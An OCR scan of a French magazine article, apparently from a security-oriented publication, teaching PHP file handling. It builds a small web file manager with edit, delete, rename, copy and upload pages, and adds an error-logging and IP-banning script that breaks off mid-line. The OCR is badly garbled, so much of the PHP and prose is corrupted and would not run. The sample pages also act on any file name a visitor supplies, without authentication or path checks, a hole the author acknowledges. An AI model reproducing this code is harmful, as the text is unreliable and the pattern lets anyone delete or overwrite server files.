fopenO. Elles ne prennent done comme arur 

ment que le nom du Fichier, et non un handle. 

fileO renvois un tableau tiont chaque ligne 

contient une licjne du fichier, et readfileO lit le 

cc-ntenu du fichier a want de I'afffcher [fans le 

navigateur readfileO retourne TRUEen cas de 

succ es, FALSE sinon, Exemple : 

<? 

Itableau * filet" test. tat" >; 

echo "Le fichier test.txt contient 

".count< (tableau)." Ifgnes."; 

echo "Void son cant§nui<br>"; 

readfilertest.txt'); 

1> 

ECRITURE DANS UN FICHIER 

II n'existe que deux fonctions, tres semblables, 
pour ecrire dans un fichier pre' alable ment 
ouvert en ecriture ; fputsO, la plus courante, et 
fwriteO, que nous verrons dans la Jecture/ecrh 
ture en binafre, Leur forme generate est : 
tnb=fputsfSliandTe J (chains £, (longueur] ); 
Le troisieme argument, facultatif, permet de 



- ^1 



limiter la longueur de la chaine eerite (Schai- 
ne) dans le fichier dont le handle est passe en 
premier argument (Shan die). La fond ion 

retourne le nombre de caracteres writs, FALSE 
encasd'echec. 



CREATION DE FICHIER 

Pour creer un fichier, il suffit de Touvriren ecritu- 
re (ou ajout) avec " w ■ " w+ '\ " a " ou ■ a+ ". En 
effet, si Ton tente d f ouvrir en ecriture un fichier 
qui tfexiste pas, PHP tente de le crier. Pourouvrir 
un fichier en ecriture sans le creer s'il rt'existe pas, 
on peut utiliser " r+ ,r (tecture-ecriture). 

PREMIER LISTING ; EDIT.PHP 

A ce stade, nous pouvons commencer not re 
gestionnaire de fichier en PHP par une page 
regroupant les fonctions de lecture et ecriture, 
Exemple d'un fichier edit.pbp : 
<7 

1 f ( M sse t ( I f 1 c h i er ) ) header ( - Loca t i on : 

maln-php^J; 

?> 

<html>chead> 

<title>Ed1ter un fichier^title> 

<:/headxbody> 

<? 

if (isset($contenu)) { 
tf - fopen(?fi enter, V); 

1f Cfputs((f d Icontenu)} 

echo "Le fichier (fichier a ete enre- 
gistre avec succes,"; 

fclose(tf); 

} 
7> 

<form action="#" method-' post 4 ** 





<o>Editer le fichier <1 echo tfichier; 
X/b>*r> 

*input type^" hidden" ^ame="f1ch^er ,, ' 

value="<^ echo Ifictrierj 7> m > 

<tex t a rea n aroe=" con tenu " rows= " 20 " 

cols="70"> 

< readfile( tf 1 drier); > 

</textareaxbr> 

<input type=" submit" val ue*" En regis - 

trer"> 

</ f o mcxf oral actf orF"ma 1 n . ptip " > 
<input type=" submit" value="Retour"> 
</f orntx/bodyWIitml > 

Cette page permet I 'edition [done la creation) du 
fichier dont le norn est passe a la page dans la 
variable $f ichier. On utilise readfileO pour mettre 
le contenu du fictiier dans la textearea et un 
fputs{) pour enregistrer le contenu dans le fictiier. 
On s'apercoit que pour creer le f ichier, il taut 
passer a la page le nom du fichier qui n'existe 
pas encore tdans $fichieir) et un contenu vide 
mais exist ant ($conteriu= ,m )- 
main.php sera la page principals de notre ges- 
tionnai re de fichier. 



PRECISIONS 

SUR LA LECTURE/ECRITURE 

Lecture/ecriture en binaire 
Pour pouvoir lire et ecrire en binaire dans un 
fichier, il taut I'oiwrir en ajoutant " b " au mode 
dWerture, et utiliser freadO et fwriteO du 
lieu de fgetsO et fputsQ, Ceci n'est evident 
ment valable que dans les system es Sexploi- 
tation qui distinguent lesfichiers de type teste 
des fichier; binaires (e'est le cas de Windows). 
Sinon les foncfions s'utilisent indiffe'remment. 



LE POINTEUR DE 
LECTURE/ECRITURE 

C'est le pointeur qui indique !a position actuet- 
le dans le fichier e'est-a-dire la position a 
laquel le on va ecri re ou ce I le a par t i r d e laquel- 
le on va lire, Lorsque l'on ouvre un fichier en 
lecture (ou en lecture-ecrif ure avec " r+ "), le 
pointeur est a la fin du fichier, et inversement a 
la fin du fichier lorsque celui-ci est ouvert en 
ecriture ou ajout [ou avec 1I w+ " ou ,f a+ "). 
Lorsqu'on lit ou que l'on ecrit dans le fichier le 
pointeur se deplace du nombre de carscteres 
que Ion ecrit ou que l'on lit. Mais il existe des 
functions qui permettent de manipuier ce poin- 
teur, la plus utilise? etant rewind o, qui prend 
comme parametre le pointeur sur fichier {hand- 
le) et renvoie le pointeur au debut du fictiier. 
Autre foriction utile : fseeka qui permet de 
positionner le pointeur par rapport a sa posi- 
tion courante ou par rapport au debut (ou a la 
fin) du fichier. 

5a forme generate est : f seeMShandle, Sdeca- 
lage, Sorigine) ou le pointeur sera decale de 
$decalage carac teres par rapport a $origine 
dans le fichier de pointeur Shandle. Sorigine 
peut prendre les valeurs SEEK_SET (debut du 
fichier). SEEK_CUR {position courante, yaleur 
par defaut) ou SEEKJNEHfin du fichier). 
Enfin, la fonction ftellO qui, tel rewind, prend 
comme parametre le pointeur sur fichier (hand 
le), renvoi e la position actuelle du pointeur. 
Done, si vous avsz bien suivi, dans I'exemple 
suivant Spo5 vaut 4: 
<? 

Shandle = fopenCtato.txt", "r"); 
rewind* shandle); //position: 

fseeMf handle, 4, SEEK_CUFt); 
spos = ftell($handle); 
fclosef* handle); 
?> 



I 




TESTS SUR LES FICHIERS 

Avant de faire n'impgrte quoi sur les ficMers, il 
comrient de s'assurer que I'on ne va pas travailier 
sur un fichier qui n'existe pas, ecrire dans un 
repertoire, ou deplacer un fichier dans un autre. 
Aussi PHPdisposrHI d 1 une batterie de fonctions 
destinees a faire des tests sur les fichiers et dos- 
siers. En voici une liste quasi -exhaustive : 



EFFACER UN FICHIER - 
LISTING 2 : DELETE.PHP 

La function unlinkf) supprime le fichier [font le 
nom lui est passe en argument (Sfichier). Ce qui 
nous permet de Faire la seconde paqe de notre 
uestionnaire de fichier, delete.php : 



FONCTION 


VERIFIANTQLE 


fiie.eiristsO 


le fichier existe 


is_dir() 


il s'aqit bien d'un repertoire 


fs_executabte() 


le fichier est executable 


Is.ffleO 


II s'agitbien d'un fichier 


is_readable() 


accessible en lecture 


isjvritableO 


accessible en ecriture 


is_writeableO 


alias deisjwri table 


is .upload edJFleO 


le fichier est un ffchier telecharge 



Chacune de ces functions prend un nom de 
fichier ou de dossier com me argument et ren- 
voie TRUE si le test est verifie, FALSE dans le 
cas central™. 

Une autre fonction de test. feofO, permet de 
savoir si Ton est arrive au bout d'un fichier 
{dans ce cas feof<$handle) renvoi e TRUE) : il est 
utilise lors de la lecture. Dans I'exeniple sui- 
vant F on lit le fichier tant qu'on n'est pas arrive 
a la fin. et Ton affiche le tout a la fin : 
<1 

Shandle ■ f open CSnomDuFI chl er, *r*); 
whtleUfeofUhandlej) 
Serial ne .= fgets(ihandle, 1024}; 
fclose(Shandle); 
echo lehafne; 
> 

Ce qui est ('equivalent de : 
<? readfile(*f1ch1er); ?>. 



and 



or 



1f(!<1sset(*ft£Mer) 
i5_fiTe(Sf1ch1er))) 

headerC Location maln.php"^ ?> 
<titntxriead> 

«tftle>Suppriiner un ftch1er^/t1tTe> 
</tieadxbody> 
<? 

Iffunllnk(tflchier) 
[file_ex1stsCSf1chiern 

echo "Fichier efface avec succes. H i 
> 

<form action="nHln.php"> 
<1nput type=" submit" va1ue="Retour"> 
</f ormx/bodyxytilral > 



On verifie bien sur au debut que le fichier exis- 
teavecis_file($frchier>. 






RENOMMER UN FICHIER - 
LISTING 3 : RENAME.PHP 

C'est le role de la fanction ieranie(:^ten_nrjra Srau- 

veaunorn}, qui renomme le fichfier Sancienjiom en 
Sramveau_nom. D'oii te iRting^riiiartK.priP': 




<=? 



and 



IftKisseUfffchler) 
Is_filec$f1cli1er>>> 

header ("Location; mainLphp*); 

7> 

<htmlxhead? 

<title>Renoraiiier jri fich1er</t1tle> 
</h«dxMy> 
<l 

if (IsseUSno*)) { 
If (rename* (fichier, Jnom)) 
echo "Le flchier Iflchier a He 
rendfraifte en fnom.-; 
} 

<form actiorF"^ methml="post"> 

Kouveau nc«n:<ijr> 

<input type=" hidden" riane^fith-ter" 

value="<? echo *fi chief; ?>"> 

cfnput names* no*f value="<? echo 

Iflchier; ?>"xbr> 

*iriput type^" submit" Yalue="Reneuimer' , > 

</formxform action="main.php M > 

<input ty pep"* submit" value="Reto*ur"> 

<Ui ormx;/ bodyx/htm1> 

Remarque ; Pour deplacer un fkhier, on le 
renomrne en precisant le dossier de desti- 
nation dans le nouveau nom. Exemple : 
renamed "testt xt N t "tests/test .t xt 1 ' ) 



COPIER UN FICHIER - 
LISTING 4 : COPY.PHP 

La fonction copy (Sfi chief, $nouveau_fichier) 
permet de copier le fichier Sfichier en Snou- 
veau_fichier r D'ou le listing 4 r copy.php : 



if (tdssetmi enter) and 

1s_file(ffichier))) 

headeH "Location: iMlfi.php"}; 
> 

<htnlxheao> 

<t1tle>Cop1er un fichier</tttle> 

</headxbady> 



if {Isset(tnewftle)) { 
if ( copy (1fi chief, (newflle)) 
echo M Le flchier tflctiier a ete copie 

en tnewfUe."; 

} 
> 

<fonn action^ 1 * Hietho<J-"post"> 

Nan du nouveau fichien<br> 

<1nput typ€="hididen" name^-ftchler" 

valje="<? echo tflchier; ?>"> 

<input name="newfne'* tfalue="<? echo 

$ftch1er; ?>.bak H xbr> 

<1nput type=" submit* *alue="Cop1er"> 

</farnpxform actfon« H m3in.prip - > 

<inp4Jt type="siibwit" Yalue="Rfitour"> 

</f onflx/bodyx/html > 









D 



D 

ijiir 




rrr 

LISTER LES FICMERS D'UN 
REPERTOIRE - LISTING 5 : 

MAIN.PHP 

Tripoter les ficshiers implfque souvent de savoir 
quels sorrt les fichiers presents dans le reper- 
toire qui nous interesse, c'est pourquoi PHP est 
doti de quelques fonctions permettant la mani- 
pulation de repertoires. 
La manipulation de repertoires ressemble 
beaucDjp a Id manipulation de fichiers : il faut 
oiivrir le repertoire avec opendfr($dossier),efi 
lire Je contenu (fichiers et dossiers) avee read- 
dir<S handle), it termer le repertoire avec clo- 
sedir($handle). readdirO est souvent utilisee 
dans uiie boucle, car a cheque appel, cette 



fonctiori renvoi e un nom de fichier ou de dos- 
sier (tout comme f read() renvoie une ligne). 
Dans notre gestionnaire, il faudra faire atten- 
tion a ne pas confondre fichiers et repertoires 
: proposer d r editer r rencmmer, copier et sup- 
primer les ficbiers, et d'explorer les repertoires 
; on aura done recotirs aux fonctions is_dir() et 
isJileO (on aurait bien sur pu utiliser is_dir() et 
!K_dir{)ouis FileOet HsJileO). 
Les fkm'ers et repertoires sont done listes dans 
des <select>. et Ton utilise un peu de javascript 
pour changer le para metre " action " du for- 
iriLJaire principal (formU afin de diriger I'utili- 
sateur vers la page correspondant a son action, 
main.php : 



<htmixheadxtitle>fte5tion de f1ch1ers</tit1e> 

«scr1 pt 1 a ngua ge 3 " J a v a sc r i pf > 
function chargetpage) ( 

document r fornil. act Ion = page; 

document. fomtUsubmltf); } 
</scri ptx/headxboay^ 
<form attion="ir irtethod="p05t">ft]S5tefsr 
<select name='"dir'> 



//SI (df r est vide ou errone, on prend le dossier courant 
1f(J1sset(ldir) or I1sJ1r(*d1r) qr $dir="") tdtr = \*j 

id = opendtr(Sdir); 
while C*doss1er = readdir($di) { 
ff (is_dir[*doss1er)) 

echo fc <Bptfari wa^ue=^"ldi^/tdoss^e^\' , >Sdoss1er<yoptfo^>\n' , ; 
} 
elosedMW); 



</sel ect> 

<tnput type=" submit" va 1 jep^Ouvrl r"> 

</formxtirxfqrm naine="forml ,t > 



I 




<seleet name="f1chier"> 

<1 Jd=operwilr<Jd1r); 

while Clfile - readdirddn { 
if tis_file(lfile11 

echo H <optiori>Jfile</opt:ior>\r"; 

} 
closed1r($d); 




</select> 

<1nput type= n button H va1ue="Editer" gnCT1ck='ctiarge( H edit + php"r> 
<ijiput type=*but,ton H vaJue^'Renommer" onClickF'chargeC rename, php")"> 
<input type^buttorr value^Copter" orClick='ehargercop¥ r ptip":r> 
<input ty pep" button" value="^iFprin»er H onCltck=' charge* "del ete.php'l > 
</form> <hr> <forra actidn= ,t edtt.php''> 
<input type=*teat" na»e= H fichier" niaalenght="W> 
<iriput type="tiidden n Tiame= H CQntenu" valuta""* 
<1nput type=" submit* Yfllue^Creer le f1ch1er"> 
</fonn> <hr> <forni act1an= rt upload.php"> 
<1nput type^" submit" val je="Uploader un fithler"? 
</f ormx/ bodyx/ h tml > 



UPLOAD DE FICH1ER - LISTING 

G : UPLOAD.PHP 

Un formutaire permit de telecharqer des 
fichiers du client {visiteur) vers le serveur (dans 
un fichier temporaire),. si celuiei est configure 
pour. II taut pour cela un forrnulaire de metho- 
de POST et pcsse'dant I'attribut 
£NC17PE="multipart/form-data'>, ainsi qu'un 
input de type file. Un autre Input, facultatif, 
permet de Mm iter la taille du fichier a uploader 
si la limite du serveur ne vous corwient pas 
ain&i. <input type =" hidden" 

name= l, MAK_FILE_SIZE u value="ZOOO0 1, > limi- 
tera La tain? des fichiers a 20 000 caracteres 
(20 000 octets, ou 19,5 Ko sj vous preterm), 
II faut ensuite recuperer le fichier, toujours 
uploade dans le meme repertoire, avee un 



script :c'est la que PHP intervient Cest la fonction 
move_uplDaded_fileO qui s'en charge ; elle prend 
pour argument le nomtemporaire du fichier uploar 
de et le mom sous lequel il doit etre enregistre (je 
parle de mm comptet : emplacement+norh). 
Le premier s'cbtient en fouillant dans les 
tableaux des fichiers uploades 
($HTTP_POST_FILES). en prgcisant la variable 
utilises (le rtpm de I'input de type file'] et I'at- 
tribut " tmp_riame " tie nom temporaire que 
I 'on cherche). Par exemple : 
$HTTP_POST_Fl L ES [ "fichier" irtrnp jiame"] 
La fonction renvoie TRUE si I'execution s'est 
bien deYuu)6e- On peut voir dans ie dernier lis- 
ting (upload.php) Pap plication de ce concept, 
oil Ton verifie que le fichier exist? bien avec 
file exists (j'avoue que c'est un excil de zeiel, 







La function move_uploaded_fileO agit de la 
meme maniere que copyOr a la difference pres 
qu r ell§ deplace le fichier -au lieu dp le copier 
(mais de toutes facons, I 'original etant dans le 
dossier " special upload " du serveur, il sera 
sup prime apres jd certain temps). 
jpload.php : 



Remarque : I 1 up load de fichier ne fonctionne 
pas toujour^ notamment sous Windows. 
lorsque le nom compJet {chemin d'acces + 
nom) du fichier a uploader contient des espa - 
ces. On peut y remedier en depJacant ses 
fichiers a la ratine du disque dur (C:\ dans la 
pJupart des cas) avant de les uploadec 

<htffllxtwadxtf tl e>Upl oad</tf tle> 
</headx»ody> 

* * * 

If flswtdncm} and fsset£*f1eh1er)) { 

ffClfnon or Ina^*") fnanrtemwianC "./"); 

Schawl n * "./",*non; 

If CnKHfe_iJploaded^fnetiHTTP_POST_FlLES[* , ffchier"][*t^]_nare"], tthemfn) and 
file_existsttnc«H 

eeno "Le fiehler fchenin a ete upload* avec mcces,"; 
else 
echo "Ectec de 1 'upload.*; 

} 
7> 



<form enctypes'iiwlttpart/forti-data" inethod="post" aet1on="upload»php B :> 

<1nput type=-hiddefl" naBle=' , M4)(_FILE_SIZE ,, *alu#="100000000"> 
Upolader un ffchfer:<hn> 
<fnpgt raise^"ffchier" type^f1lfi"xbp> 
Sous quel twin ioit-il §tre enregHtre ?<tr> 
<1nput nane= H nom H typee*text u xt>r> 
<1nput type=*su6m1t" value="Upload"> 
VforBF^fori §et1on="ia1ii,php' , > 
-cfnput type=" submit" value=" Ret&jr"> 
</fomp</ r body>^/htiil> 



AUTRES FONCTIONS UTILES 

Voici, en vrac, une lisle de femcticns qui peuvent etre utiles pour la manipulation de fichiers et de 
repertoires. Je n'ai heias pas la place de tout detainer id, aussi je vous conseille de jeter un coup 
d'ceil a la documentation en licjne pour de plus amples details. 






* t 


WH&M'M%M 



FfcNers 

filesize($fichier) renvoie la taille ten octets ou 
nombre de caracteres) du fichier dont le nom 
(Sficfiier) lui est passe en argument 
fiJetype(Sficbier) renvoie son type. 
fileatime{$fichier) renvoie la date du dernier 
acces au fichier, filemtime($fichier) sa date de 
modification. 

stat(Sfichier} renvoie des statistique sur le 
fichier. fstatCS handle) a us si rnais prend un 
handle en argument. 

Chmod permet de changer les droits d'acces au 
fichier (sous UNIX). 

Repertoires 

mkdir($nom_rep, Sdroits) tree le repertoire de 
nom Snomjep avec les droits d'acces $droits 
(nombre octal, ex; Q733). 
rmdir($nom_rep) detruit le repertoire denom- 
m€ par $nom_rep. 

avec chdir{$nom_rep) d le repertoire $nom jep 
deviant le repertoire courant- 
qetcpwdO (sans argument) renvoie le chemin 
absolu du repertoire courant (par exemple 
C:\Prograrn Files\Ea5yPHP\wwwY), 
rewinddir($handle_rep) est (Equivalent de 
rewind pour les repertoires. 
diskfreesuaceO permet de connartre I'espace 
disponible dans le repertoire courant (sur le 
disquedur sous Windows). 

Noms de fichiers et de repertoires 
dirname($nom) renvoie le nom du repertoire 
qui contient le f ichier ou dossier de nom Snom, 

basename($ehemin) prend en parametre le 
chemin compel d'un fieri ier et en ex trait le 
nom du fichier. 

realpathE.$chemin) resout tous les liens syrnbo- 
ligues, et rempSace toutes les references U , 



./../ et / de Schemin puis retourne le chemin 
canon iq u e a bsolu ainsi t ro uve. 
Exemples : avec le fichier C:\toto.txt (on se 
trouve dans le repertoire c:\test) 
dirnameC'-./totctxt 11 ) renvoie L\ 
baseiameCGtfotQ.txr) renvoie toto.txt 
realpat h( " . ./tot o. txt ' ' ) renvoie Erreur! Refe- 
rence de lien hypertexte non valide, 

Remarque ; Dans les chemins de dossiers sous 
Windows, on peut utiliser ridiff eremmertt Slash i " 
/ ", ou antciasti ,r \ ". Mais le slash est fortemait 
eonseillecar muttrsystemeset ne necessrtepas 
d'echappement (contrairement a I'antislash qui 
doit Mre double) : l1 C^estSV-esLtxt^estrequr 
vatentoe' r C^est/testJb{t". 

GESTION DES ERREURS 

Comme explique plus haut (on voit ceux qui sui- 
vent :p), il convient, lorsqu'on manipule des 
fichiers et/ou des repertoires, de s'assurer de 
leur existence et de s'inforrner sur les droits 
que Ton a dessus (sur des serveurs correcte- 
ment configures, ce dernier point est rarement 
mkessaire), afin que le script fond ion ne. 
De meme, s" informer de la bonne execution 
d'une fonttion a I'aide d'un test permet d'eviter 
I'affichage inopine" d'erreurs, tou jours £ e^iter. 
II existe des astuces, qui dm went devenir des 
reflexes pour cantrSler les eventuelles erreurs 
: I'operateur @> r place devant une fonction. 
empe'che I'affichaqe des erreurs liees a cette 
fonction, De mime, on utilise ra la fonction " 
die " pour stopper I'execution d'un script en 
eas d'erreur et affither un message persenna- 
lise. Voici un exemple de script correct : 



i 



<7 

If f11e_e*Utsrtoto,txt") { 
trundle - OfopenCtoto.txt", 



V) 



D 



fU 



iririir 



D 



rr 



u 



^ 




nr 

or dfefErreur a V Oliver t lire, du 
flchfer :("); 

whilefJf»f(ihandlen 

tehaine .= Gfgets( Shandle, 1024); 
fclesetSharwile); 

} else echo "le ftehier toto.txt n' exis- 
ts pas !*; 
7> 



* soigner le design (affichage en arborescence), 

* utilizer du Java script, des tableaux et des 
variables de session pour manipuler plusieurs 
ffchiers h 

•tout en une page (avec un " switch "), 

* plus d'actions {piocher des idees dans la lisle 
de function de la documentation PHP). 

CONCLUSION 

On ne pert faire un tutorial sur la manipulation 
de fichiers sans avert issenient sur la securite. 
Evklemment, lorsqu'on manipule des f ichiers et 
des repertoires, il taut etre particulierement 
vigilant quant a Fa security des scripts car, mat 
protege's, ils peuvent permettre a des tiers 
malintentlonnes d'effacer (ou de defacer) le 
oorrtenu de voire serveur, voire d 'en prendre le 
controls si la machine elle-meme est mal confi- 
gurer {scripts ayant acces aux f ichiers sensi- 
bles). Prudence done. 

II ne me reste qu'a remercier dvrasp et Clad 
pour I'opportunite de Particle et vous dire &+ 



Remarques sur le script : If est evident que ce 
script destine a servir d f exemple r est loin 
d'etre termine. Voici done queiques idees de 
dieses a ameliorer, dont certaines sorrt aussi 
des eonseils pour vos scripts propres : 

• toujour* travailler dais le repertoire courant 
£avec chdir pour changer), et non relaf if au 
repertoire ou se trouve le script (utitiser real- 
path) r 

•recolter et afficher les infos sur les fichiers, 

• gestion des droits d 1 acces fen fonction du 
systems d 'exploitation), 

• gestion des erreurs, 

• securiser toutes les pages (par exemple avec 
un" htaccess 1 '), ^ 

UN PEU DE SECURITE... 

II rrest pas difficile de renforcer un tant soit peu la securite de votre serveur Web sous UNIX en 
jouant convenablement sur les droits d'acces des fichiers UNIX, 

Par exemple votre serveur web devrait avoir un compte utilisateur qui lul est dedie (utilisateur 
www, groupe www). Les pages du site devraient, dans la mesure du possible, n'appartenir qu'au 
root et au groupe 'www' : les pages ne sont plus alors disponliles qu'en lecture seule. 
Cela vous evitera le "deface" ; les pages ne peuvent etre 5 rewrites par le serveur web r ce der- 
nler ne pourra que les lire, pas les posseder ou les reecrire. De memo, aucun utilisateur sur la 
machine {& part root et 'www' cela s'entend) ne pourra lire le cotitenu de vos pages. 
Hotez ega lenient qu'il n'est pas judicfeux de laisser des repertoires prives ou sensible s dans 
votre rEpertoire de diffusion thtdocs), tels lea rEpertoires de logs, de scripts CGL. 
Si vous voulez eviter la compromission de votre systems pense^ egalement a faire un chrMt Ifn chroot 
est une prison virfuelle pour toutes formes duplications, mais essentiellement pour des serveirrs Web. 
Construlre un chroot n'est pas difficile, e'est plus fastidieux. Vous pouvez trouver une docu- 
mentation officielle sur httpV/www.tfebian.oTg/doc/maniials/reference/ch-t ips.en.btm Itts-chraot. 







t fl 

IT--U 



TH 




-"^affiia 





toe i .p*>« ,wM(iito ' 



SUDI 
POUR 



er-pouv 



po __ 



PS • 



I .HIUWI 

_uiicii»*«>™ , "**l"* "T*- 



■ '"nKVliin dans vos jkw» 



P2P ** 



I Rainbow 

Tables 




Release ENfiiHEEflWGj 



fonff** 



En vente en kiosque 



D 



ITT 




Logging et filtrage : 

CEKTAINES FAILLES ET ERRBJRS PHP PEUVENT SE REVELER DIFF1CILES A DtMASQUER 
LQRSQUE CE SOOT DES YISTTCURS QUI LES THOUVENT. UN SCRIPT ADAFTE PER- 
METTRATT D'ENREGISTRER US ERREURS SURVENANT LORSQUUNE PERSONNE 
VISTTI VOTRE SflE, H IL DEVIENDRAfT POSSIBLE DE BANNIR LES ADRESSES IP 
DES PERSONNES LES AYANT PROVOQUE. 



Ce script necessite d'etre inclus 

(include( , loo,php');) au debut des fichiers PHP 
dans lesquels vous desire; detecter les erreurs. 
Ces erreurs sont classees, par repertosres de date 

(jour-mois-annee), puis par un fichier par heure conte- 
nant Jes erreurs (type d'erreur, IR localisation de Ter- 
reur et variables d'emirannement (POST, GEL.)). 

METHODOLOGIE 

but d'abord, il nous faut rediriger les erreurs PMR 
Pour cele nous utiliswis set_«rar_handter(rttm de 
la fonction ou seront renroyees les erreurs), sort ; 

set_er rorjiand 1 er ( " recuper e_e * ) ; 

Ceei nous renverra a la fonction retupereeg, 
dont les arquments sont : type d'erreur, mes- 
sage d'erreur, fkhier ou I'erreur se trouve. 
liqne ou se trouve I'erreur et tableau des varia- 
bles I'entourant (nous ne rutiliserons pas). 
Les deux premiers arguments son obligators, 
les autres facultatifs. Nous definissons. le type 
de I'erreur avec la fonction recuperet et 
nous renvoyons la chame contenant la descrip- 
tion de i'erreur a la fonction treitement_eO. 
CeJIe-ci va ere>r le repertoire de classement et 
le fichier de I 1 heure - s'ils ne sont pas presents 
- et ajouter dans le flchier les informations sur 



I'erreur et le visiteur. Ensuite elle fera appel a la 
fonction banjpqul raputera unavertissement 
a TIP, voire la bannira si un certain nombre di- 
vertissements est depasse. 
Une IP contenant un ou plusieurs avertisse- 
ments sera un fichier nomme Mp.tmp a wee 
comme contenu le nombre d 'avert issements. 
Une IP bannie sera un fichier Mp : 
* faisant reference a I 1 IP, dans ce fkhier sera conte- 
nu le nombre d'avertissements que i'lP possede. 
II suffira de supprimer le tichier pour enlever le 
ban ou les avertissements. Enfin nous mettnns 
une fonction permettant de sauoir si l h IP est ban- 
nie (I 'existence du fichier \ip) et nous ferons 
appel a ceJIe-cS des le debut du script pour pou- 
voir stopper ('execution de celuhri si necessatre, 

DETAILS 

La function serializeQ permetde sauvegarder 
un objet sans perdre ni sa structure nl son type. 
II est possible, ent re autres, de sauveqarder un 
tableau. 
Exemple : 

*a[B]=lfl; 

5val-5erialize($a); 
Sval prend la valeur de la serialisation du 
tableau Sa. La valeur retoumee est une ehame 







I I I 




BLINDEZ VOTRE SITE ! 



de earacteres et est done trb facile a sauw 
pander dams une base de donnees ou autre. Four 

retupfrer I'objet a partir de la chalne, II faut uti- 
liser la fonction unstrializefh par exemple ; 

tbRinserlallzeftval); 
ecto tb[0]."VnVlb['p*ip , l; 

Sbauralamefnestructie.tesmemesiiateifisqueSa. 

AU TRAVAIL 1 

Lescript complet ci-dessaus realise le travail pre- 



sent£- Si wmis le desirez, vous pouvez ereer une 

partie administrative qui permettrait de lister, lite 
et supprimer Ik Logs comrne de lister, ajouter ou 
supprimer les banssur lei adresses IP. Pour tela, 
les forHrtions swvanta vws seront utiles : 

apendirO permettrt <fe ti$ter tes repertoires, 
fopat() d'Qtivrir/ereer urt ffetoier, 
untifikO de supprimerun ffchier T 
rmdirO de supprimer urt repertoire (vide). 



Vous trouverez le detail de ces fonctions sur httr^/www^p.net/manual/fr/. 

<? 

/* GESTtON DES ERREURS */ 

// Si la constant* repertolrejog n'est pas d§f1r»1e Ececi permet de dwislr le 
// repertoire de destination dans le f1 drier PHP oii Von inclut eeluld. utile 
// lorsqiTlls ne se trouverit pas tons au meme niveau).-. 
If ( ^defined{■repertQ1^e_'log , ) J 

{ 

// ...alors 11 l'a defini avec conme valeur log/ 

// (ce repertoire contl end ra le class-went des erreurs, 

// h vous de le creer) 

defined "repertoi rejog." i ta lo^/ H ) ; 

} 

// Constant* permettant de cholslf si le mode de ban IP est active^, TRUE pour 

Jf le mode active, fALSE pour le mode d^sactiv^. 
def 1 ne t " ba n_a rti ve" , TRUE ) i 

U Constants permettant de choisir a parti r de canbien d' erreurs 
// 1 'IP se fait bannir. 



1 



D [U [D 




ITT 

de f t ne f " nb_a vert" , 3) ; 

//Constants pemettant de dGfintr le message lorsque 1 'IP est ban. 

defineC'messageJjan'Vlp bannt contactez 1' admin-); 

//Si le mode du ban est active^,, 
if(oan_act1ve) 

< 

// . . . alors si 1s._banO retourne vrai i affidier le message du ban et 
ft stopper 1 'execution du script, 
if ( i s_ban ( J ) {echo me s sagejban j exi t J } 
} 

// Redirection des erreur vers la fonctiwi recupere_e 
5et_error_harKner<"recui>ere_e H l ; 

// Que 1 'on dfrlnlt lei ; 

function recupere_e($ermo 3 Serrstr, Ser-rffte, terrllne) 
{ 

//ierrno contlent le type de 1 'erreur(int) 

//lerrstr contlent le message d 'erreur 

//lerrfile contlent le ffcirTer oft se trouve 1 'erreur 

//(err line contlent la Ifgne de T erreur 

/+terrno est un nombre, nous nous llmrfterons a dGtecter les valeurs 
suivantes : 

1 EJERROR 

1 EJJARHING 

6 EJWTICE 

256 E_U5ER_ERR0R 

512 E_U£ER_WARNING 

L024 E_USER_NOTICE 



switch (Jerrno) { 

//s1 Ierrno est egal a EJJSEI_ERROR soft 256. 
case E_U5ER_ERRQR ; 

Jtype^FatalAn*; 



I 







m 



wmmyjft 



DP 

lr li 



[ 



■m 



break; 
//si Jerrno est £gal a E_U$ER_NARNING sait 512, , 
case EJJSERJJARNING : 

Stype="Eprevrt\n"; 

break; 

//si $errr»o est egal a" E_JSER_NQTICE soit 1324.. 
case EJJSEOOTICE s 

ttype=" WARNING An"; 
break ; 

//si serrng est egal & E_ERRDR soft 1... 
case TERROR : 

ltype=" Fatal An"; 

break; 

//si 5 err no est egal I E WARNING soft 2... 
case EJMRNING : 

$ty pe=" Erreu r: \n" j 

break; 

//s1 $errno est egal a EJttTICE sMt 0... 
case EJIOTKE : 

«ype="HARH|WG:\n" ; 

break ; 



//Dans tous les autres cas 
default: 

(types" 1 neonnu : VT ; 

break; 



} 



//Or renvoi e la capture h la fonction de traltement. 
traitement_eCStype."[fermo] iemtr\n". 

■M-igne: ".ierrline. 

" Ffclrler: ".Serrflle.'Nn"}; 



I 



*m 




— t 



m ^ ^^ ™^ 



function tra1tement_e{Jerreur> 

{ 

//lerreur eontlent le message d'erreur* 

//I info = date: jour -mois-anne heure:nnnute:seconde + IP du client... 
UnfcFdateCdVmA H;1;i",tM))." i \*_SERvXR['REMDTE_ADDin, 

//+ Serialisation du tableau *_GET, solt touts les variables 

// passer par URL ,♦ 

" \*i\t SET: " . serl a 1 1 ze( t_GET ] + 

//+ Serialisation du tableau 1JUST. wit toutes les 
// variables passees par metbode PDST... 
"\n\t POST:".seria1i2et*„P0ST>. 

//+ si la variable J_C0OKLE est deflnle, alors renvoi e 
//Serialisation du tableau t_C00KlE i salt tout le content* 
// du cookie, slnon renvoi e H Undefined ". 
"\n\t COOKIE! \ 

(isset(t_C0OKIE) ? serial ize(i_CQOKIE) : "Undefined" J. 

//+ SI la variable $_SESSTOM est def1n1e t alors renvoi e 

//Serialisation du tableau i_SESSIOH, solt toutes 

// les variables contenues dans la session, slfton renvofe 

// m Undefined H . 

"\n\t SESSION; \ 

{issettl.SESSIOH} 7 serial i*e(S_$ESS[oM) i "Undefined'' ), 

//+ Serialisation du tableau f_S£RVER t sott toutes 
// les variables Serveur... 
"\n\t SE RV Eft ; " . «r1 a 1 1 ze( t_SE RV Eft) . " \n\H" ; 
//$rep = repertoire ou sont contenus les logs concatenes au 

// jour -mot s-annee actuels* 
*rep=repertoi re_log,date( "d-m-Y 41 >time{ > J : 
//SI le repertoire Srep n'extste pas +++ 
1f(|1s_dfr($repl) 

{ 

//alors eree le repertoire (cree le repertoire 

//jour-mols-annee actual). S'il echque, renvois un message 

//et itoppe la fcnctl on. 

ffClt*tfr(Snp>) 



I 



} 



ecno "Verifier 1 'existence du repertoire " 

.repertolrejog; 
return FALSE; 



} 



// tfp= ouvre le flchler se trouvant dans 5 rep du nam de l'heure 

// actuelle concatenee a "ft" en mode a J out, SI le flchler n'exlste pas, 

// jl se cree* 

*fp = fopen(lTO.V\£later^t1ii»(>^*hVa ,, h 

